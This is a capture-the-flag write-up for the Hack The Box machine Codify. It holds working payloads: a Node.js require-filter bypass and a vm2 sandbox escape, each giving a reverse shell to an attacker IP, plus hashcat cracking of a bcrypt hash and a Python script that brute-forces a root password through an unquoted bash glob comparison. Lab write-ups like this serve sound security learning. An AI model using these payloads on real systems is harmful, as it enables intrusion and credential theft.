HTB: Codify
TL;DR
Codify involves bypassing restrictions for Node.js require (or a vm2 sandbox escape) to get a reverse shell using code injection.
After that, you have to enumerate the system and find an application directory which contains an SQLite3 database containing a bcrypt hash. You have to crack the user’s hash to gain access to their account.
The PrivEsc process begins by enumerating the system and discovering you can execute a back-up script as root
using
sudo (/opt/scripts/mysql-backup.sh
). You can leverage the script functionality to brute-force the root user’s
password.
Reconnaissance
nmap
nmap
finds 3 open TCP ports, SSH (22) and two HTTP ports (80 and 3000).
1❯ nmap -sC -sV codify.htb
2Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-05 16:53 CET
3Nmap scan report for codify.htb (10.129.139.108)
4Host is up (0.033s latency).
5Not shown: 997 closed tcp ports (conn-refused)
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
10|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
1180/tcp open http Apache httpd 2.4.52
12|_http-title: Codify
13|_http-server-header: Apache/2.4.52 (Ubuntu)
143000/tcp open http Node.js Express framework
15|_http-title: Codify
16Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
17
18Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
19Nmap done: 1 IP address (1 host up) scanned in 20.28 seconds
HTTP (80 & 3000)
It seems both ports (80) and (3000) point to the same application. The only difference is that port 80 is just port 3000 proxied through Apache.
The website hosts a web application which allows you to test Node.js code in a sandboxed environment. It immediately hints at the potential use of vm2. This suspicion is confirmed when we visit the ‘About us’ page, which links to a specific version 3.9.16 of vm2.
After clicking on the Try it now
button, we get redirected to the code editor.
We are able to confirm we are indeed inside of Node.js by running this simple code:
1const os = require('os');
2console.log("Platform: " + os.platform());
3console.log("Architecture: " + os.arch());
Which returns to us:
1Platform: linux
2Architecture: x64
We can try to require the child_process module which we can hopefully use to spawn a new process.
1const cp = require("child_process")
2cp.exec("curl 10.10.xx.xxx:8000")
Which unfortunately tells us Error: Module "child_process" is not allowed
so there’s some kind of filter implemented.
Through trial and error, I figured out that both fs and child_process are restricted.
Exploitation
The intended way forward would be to proceed with a vm2 sandbox escape; however, I used another unintended approach which I will describe first.
Unintended
My approach was to bypass the filter restrictions placed on require to require the child_process directly from the sandbox. I used CVE-2023-32002 as inspiration for this.
The CVE mentions that you can use Module._load
to bypass policy restrictions
(which is a different experimental feature in Node.js) which made me think “what if it also bypasses these filter
restrictions?”. And so I decided to take a look at how require works.
We can take a look at node/lib/module.js inside the node.js GitHub repository which shows us how require works under the hood on line 497.
1Module.prototype.require = function (path) {
2 assert(path, 'missing path');
3 assert(typeof path === 'string', 'path must be a string');
4 return Module._load(path, this, /* isMain */ false);
5};
We can see require just utilizes Module._load
under the hood which we could try using directly to load
child_process and bypass the filter.
So I tried this test payload:
1const Module = require('module');
2const cp = Module._load("child_process")
3cp.exec("curl 10.10.xx.xxx:8000")
Which gave us a hit!
1❯ python -m http.server
2Serving HTTP on :: port 8000 (http://[::]:8000/) ...
3::ffff:10.129.139.108 - - [05/Nov/2023 17:51:17] "GET / HTTP/1.1" 200 -
This means we can use this approach to spawn a reverse shell and gain foothold.
1(function () {
2 const Module = require('module');
3 // We use Module._load which is what require is using under the hood:
4 // https://github.com/nodejs/node/blob/4d6297fef05267e82dd653f7ad99c95f9a5e2cef/lib/module.js#L497
5 // Inspired by: https://nvd.nist.gov/vuln/detail/CVE-2023-32002
6 const cp = Module._load("child_process")
7 const sh = cp.spawn("/bin/sh", []);
8 const net = require("net")
9 var client = new net.Socket();
10 client.connect(1337, "10.10.xx.xxx", function () {
11 client.pipe(sh.stdin);
12 sh.stdout.pipe(client);
13 sh.stderr.pipe(client);
14 });
15 // Prevents the Node.js application from crashing
16 return /a/;
17})();
Intended
The intended approach is to break out of the vm2 sandbox as previously mentioned. We can do that by utilizing this VM-escape code which exploits CVE-2023-29017
1const { VM } = require("vm2");
2const vm = new VM();
3
4const code = `
5aVM2_INTERNAL_TMPNAME = {};
6function stack() {
7 new Error().stack;
8 stack();
9}
10try {
11 stack();
12} catch (a$tmpname) {
13 a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
14}
15`
16
17console.log(vm.run(code));
We can just modify the command to spawn a reverse shell to gain foothold.
1const { VM } = require("vm2");
2const vm = new VM();
3
4const code = `
5aVM2_INTERNAL_TMPNAME = {};
6function stack() {
7 new Error().stack;
8 stack();
9}
10try {
11 stack();
12} catch (a$tmpname) {
13 a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/10.10.xx.xxx/1337 0>&1"');
14}
15`
16
17console.log(vm.run(code));
User Shell
Now that we have a shell as the svc
user, we can check out which user we have to reach by checking out what home
directories are on the system using: ls -la /home
1❯ ls -la /home
2total 16
3drwxr-xr-x 4 joshua joshua 4096 Sep 12 17:10 .
4drwxr-xr-x 18 root root 4096 Oct 31 07:57 ..
5drwxrwx--- 4 joshua joshua 4096 Nov 5 14:58 joshua
6drwxr-x--- 4 svc svc 4096 Sep 26 10:00 svc
As we can see, there are two users (joshua
and svc
). This lets us know we probably need access to joshua
.
Next, we can just enumerate further using LinPEAS to see if there are any interesting files/folders or any easy ways of privilege escalation.
LinPEAS does not give us much except for some information about folders/services on the system. We are able to notice
the location of the web application, which is: /var/www/editor
.
If we take a look at /var/www
, we’ll be able to notice there are more folders (contact
and html
). html
contains
a default apache page. But contact
is more interesting; it seems it’s a ticketing application that isn’t currently
deployed anywhere. However, there is still an interesting file called tickets.db
which is an SQLite3 database.
We can interact with it using the sqlite3
command:
1❯ sqlite3 tickets.db
2SQLite version 3.37.2 2022-01-06 13:25:41
3Enter ".help" for usage hints.
4Connected to a transient in-memory database.
5Use ".open FILENAME" to reopen on a persistent database.
6sqlite>
We can then list the tables using .tables
:
1sqlite> .tables
2tickets users
3sqlite>
And then we can get all the users from the users
table using a SELECT
query:
1sqlite> SELECT * FROM users;
23|joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
3sqlite>
It seems like the application is using bcrypt which we can confirm by checking out the application source code:
1❯ cat index.js | grep bcrypt
2const bcrypt = require('bcryptjs');
3 bcrypt.compare(password, row.password, (err, result) => {
So, let’s try cracking the hash using hashcat and rockyou.txt. The mode for bcrypt is 3200 according to example_hashes
1❯ hashcat -a0 -m3200 bcrypt.txt --wordlist ~/Downloads/rockyou.txt
2
3$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1
4
5Session..........: hashcat
6Status...........: Cracked
7Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
8Hash.Target......: $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLH.../p/Zw2
9Time.Started.....: Sun Nov 5 19:46:00 2023 (1 min, 24 secs)
10Time.Estimated...: Sun Nov 5 19:47:24 2023 (0 secs)
11Kernel.Feature...: Pure Kernel
12Guess.Base.......: File (~/Downloads/rockyou.txt)
13Guess.Queue......: 1/1 (100.00%)
14Speed.#2.........: 16 H/s (7.40ms) @ Accel:4 Loops:32 Thr:1 Vec:1
15Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
16Progress.........: 1360/14344384 (0.01%)
17Rejected.........: 0/1360 (0.00%)
18Restore.Point....: 1344/14344384 (0.01%)
19Restore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:4064-4096
20Candidate.Engine.: Device Generator
21Candidates.#2....: teacher -> 080808
22Hardware.Mon.SMC.: Fan0: 88%
23Hardware.Mon.#2..: Temp: 64c
24
25Started: Sun Nov 5 19:45:54 2023
26Stopped: Sun Nov 5 19:47:26 2023
Success, the password is spongebob1
so lets ssh to [email protected]
to get a full-featured shell.
Now, we can just cat
the flag!
1❯ cat user.txt
265fb***********************8c2ac
Privilege Escalation
Okay, now we can start off by checking if we can execute anything using sudo:
1❯ sudo -l
2[sudo] password for joshua:
3Matching Defaults entries for joshua on codify:
4 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
5
6User joshua may run the following commands on codify:
7 (root) /opt/scripts/mysql-backup.sh
It seems we can execute a “mysql backup” script with sudo, let’s check out what the script does.
1#!/bin/bash
2DB_USER="root"
3DB_PASS=$(/usr/bin/cat /root/.creds)
4BACKUP_DIR="/var/backups/mysql"
5
6read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
7/usr/bin/echo
8
9if [[ $DB_PASS == $USER_PASS ]]; then
10 /usr/bin/echo "Password confirmed!"
11else
12 /usr/bin/echo "Password confirmation failed!"
13 exit 1
14fi
15
16/usr/bin/mkdir -p "$BACKUP_DIR"
17
18databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
19
20for db in $databases; do
21 /usr/bin/echo "Backing up database: $db"
22 /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
23done
24
25/usr/bin/echo "All databases backed up successfully!"
26/usr/bin/echo "Changing the permissions"
27/usr/bin/chown root:sys-adm "$BACKUP_DIR"
28/usr/bin/chmod 774 -R "$BACKUP_DIR"
29/usr/bin/echo 'Done!'
The script is using absolute paths, so PATH hijacking will not be possible. I was trying to think of a way to exploit some logic in this script, but I couldn’t think of anything.
Then after some fiddling around, I noticed that if you input an asterisk, it will accept the input as a valid password.
This is because the variable inside the comparison [[ $DB_PASS == $USER_PASS ]]
is not between quotes, so it is
interpreting the asterisk as a glob pattern which partially matches based on input.
To mitigate this issue, the comparison should have been done like this: [[ $DB_PASS == "$USER_PASS" ]]
since this way,
the asterisk would be interpreted as a literal instead of expanding.
Anyway, I instantly realized we can leverage this to brute-force the password using a simple script since if we input a character followed by an asterisk, it will pass if the character is inside the password. We can utilize this to brute-force the password character-by-character.
So here is the script I wrote for this:
1#!/usr/bin/env python3
2import string
3import subprocess
4
5# Maximum password length
6MAX_LENGTH = 25
7
8charset = string.ascii_lowercase + string.digits
9correct_chars = ""
10
11for i in range(1, MAX_LENGTH - len(correct_chars)):
12 for char in charset:
13 input_str = correct_chars + char + "*"
14
15 command = "sudo /opt/scripts/mysql-backup.sh"
16 process = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
17 output, error = process.communicate(input=input_str)
18
19 if process.returncode == 0:
20 correct_chars += char
21 print(f"Character found: {char} | Correct characters: {input_str[:-1]}")
22 break
23
24print(f"Password: {correct_chars}")
So let’s run this script and see if we get the password:
1❯ ./brute.py
2[sudo] password for joshua:
3Character found: k | Correct characters: k
4Character found: l | Correct characters: kl
5Character found: j | Correct characters: klj
6Character found: h | Correct characters: kljh
7Character found: 1 | Correct characters: kljh1
8Character found: 2 | Correct characters: kljh12
9Character found: k | Correct characters: kljh12k
10Character found: 3 | Correct characters: kljh12k3
11Character found: j | Correct characters: kljh12k3j
12Character found: h | Correct characters: kljh12k3jh
13Character found: a | Correct characters: kljh12k3jha
14Character found: s | Correct characters: kljh12k3jhas
15Character found: k | Correct characters: kljh12k3jhask
16Character found: j | Correct characters: kljh12k3jhaskj
17Character found: h | Correct characters: kljh12k3jhaskjh
18Character found: 1 | Correct characters: kljh12k3jhaskjh1
19Character found: 2 | Correct characters: kljh12k3jhaskjh12
20Character found: k | Correct characters: kljh12k3jhaskjh12k
21Character found: j | Correct characters: kljh12k3jhaskjh12kj
22Character found: h | Correct characters: kljh12k3jhaskjh12kjh
23Character found: 3 | Correct characters: kljh12k3jhaskjh12kjh3
24Password: kljh12k3jhaskjh12kjh3
Success, the script returned the password kljh12k3jhaskjh12kjh3
, let’s try it for the root user with su root
1❯ cat root.txt
24ecf***********************6a78f
And that’s it! We’ve captured the root flag!